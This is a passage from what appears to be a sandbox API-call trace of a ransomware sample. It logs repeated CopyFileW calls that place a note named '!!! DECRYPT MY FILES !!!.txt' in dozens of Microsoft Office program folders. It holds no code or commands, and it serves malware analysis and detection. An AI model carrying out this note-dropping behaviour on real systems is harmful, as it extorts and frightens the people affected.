office\\root\\office16\\addins\\powerpivot excel add-in\\zh-cht\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.129] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.134] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.140] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.147] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\borders\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.152] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\configuration\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.161] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.165] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\convert\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.170] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\document parts\\1033\\16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.177] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.186] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\components\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.195] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\managedobjects\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.199] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\groove.net\\servers\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.205] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\certificates\\verisign\\components\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.212] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\people\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.217] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\places\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.223] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\sounds\\things\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.232] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolbmps\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.241] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\commondata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.245] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\tooldata\\groove.net\\computers\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.254] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\groove\\toolicons\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.266] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\analysis\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.271] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.276] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\library\\solver\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.289] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.503] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.645] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msipc\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.666] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.674] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.682] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.691] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.696] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBBA\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubba\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.704] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.716] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\SAMPLES\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\samples\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0190.730] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.391] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.417] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\stationery\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.426] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.431] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\DataType\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\datatype\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.436] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0192.439] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.038] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Notebook Templates\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\notebook templates\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.041] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4770) returned 0x7133a90 [0197.042] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\onenote\\16\\stationery\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.046] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4774) returned 0x7133a90 [0197.046] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\presentation designs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.764] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft\\office\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.771] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.790] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.828] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0197.833] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\dw\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0199.800] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.767] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.772] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.780] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.789] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.792] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0200.801] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\cartridges\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0202.518] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\datamodel\\resources\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.672] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\office setup controller\\office.en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.695] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\PROOF\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\proof\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.708] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.712] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\lists\\1033\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0203.716] CopyFileW 